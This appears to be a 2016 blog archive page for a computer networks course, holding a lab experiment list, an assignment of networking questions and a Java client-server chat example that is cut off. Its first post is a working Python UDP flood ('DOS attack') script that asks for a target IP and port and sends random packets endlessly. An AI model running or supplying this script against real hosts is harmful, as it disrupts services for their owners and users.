Posts

Showing posts from September, 2016

DOS Attack code for python

import socket import random sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(1362) #Creates packet ip=raw_input('Target IP: ') #The IP we are attacking port=input('Port: ') #Port we direct to attack sent= 0 while 1: #Infinitely loops sending packets to the port until the program is exited.     sock.sendto(bytes,(ip,port))     print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)     sent= sent + 1

CN LAB [Experiments List]

  EXPERIMENT-1.a : Study of following Network Types. • PAN • LAN • MAN • WAN   EXPERIMENT-1.b : Study of different types of Network cables and Practically implement the cross-wired cable using clamping tool. EXPERIMENT-2.a : Study of following Network Topologies. • Bus • Ring • Star • Mesh • Tree • Hybrid   EXPERIMENT-2.b : Study of following Network Devices in Detail • Repeater • Hub • Switch • Bridge • Router • Gate Way EXPERIMENT-3 : Installation & Configuration of NS2 in Linux environment and building basic LAN topology in NS2. EXPERIMENT-4: Building Dynamic Routing topology using NS2. EXPERIMENT-5: Write a program to find out class of a given IP address, subnet mask & first & last IP address of that block. EXPERIMENT-6: Write a program to build client-server model on different computers. EXPERIMENT-7: Write a program for Congestion Control using :                                   a. Stop &am

Assignment No 2 [Last Date : 14/10/2016]

  1. List and Explain different types of routing. ( 6.b: Dec-12, 5.b: May-13, Marks10) 2. Explain the IPv4 and IPv6 header format in details. (5.b: May-11, 5.a: Dec-11, 4.a: May -12, Marks 10)   3. Write a short note on CIDR. ( 7.d: May-13. Marks 10) 4. Why there is a need for congestion control? What are the different mechanisms? Explain them. ( 4.a: Dec-14, Marks 10) 5. An organization is granted the block 211.17.180.0/24. The administrator wants to create 32 subnets. a. Find the subnet mask. b. Find the number of addresses in each subnets. c. Find the first and last address in subnet 1. d. Find the first and last addresses in subnet 32. ( 4.b: Dec-10 Marks 10) 6. Explain the different elements of transport protocols. ( 2.b: Dec-14,Marks10) 7. Explain how TCP handles error control and flow control. ( 3.a: Dec-14,Marks 10 ) 8.Explain the need for DNS and describe the protocol functioning. ( 2.a: Dec-14, Marks 10)

CLIENT SERVER MODEL

CLIENT : import java.io.DataInputStream; import java.io.IOException; import java.io.PrintStream; import java.net.Socket; public class Client { public static void main(String a[]) throws IOException { Socket s = new Socket("LocalHost",8000); DataInputStream in=new DataInputStream(s.getInputStream()); DataInputStream inn=new DataInputStream(System.in); PrintStream dos=new PrintStream(s.getOutputStream()); while(true) { String str=in.readLine (); System.out.println("msg received:"+str); if(str.equals("end")) { s.close(); break; } System.out.println("enter the msg to send: "); String str1=inn.readLine (); dos.println(str1); if(str1.equals("end")) { s.close(); break; } } } } SERVER : import java.io.DataInputStream; import java.io.IOException; import java.io.PrintStream; import java.net.ServerSocket; import java.net.Socket; public class Server { public static void main(String a[])throws IOException { ServerSocket ss = new ServerSocket(80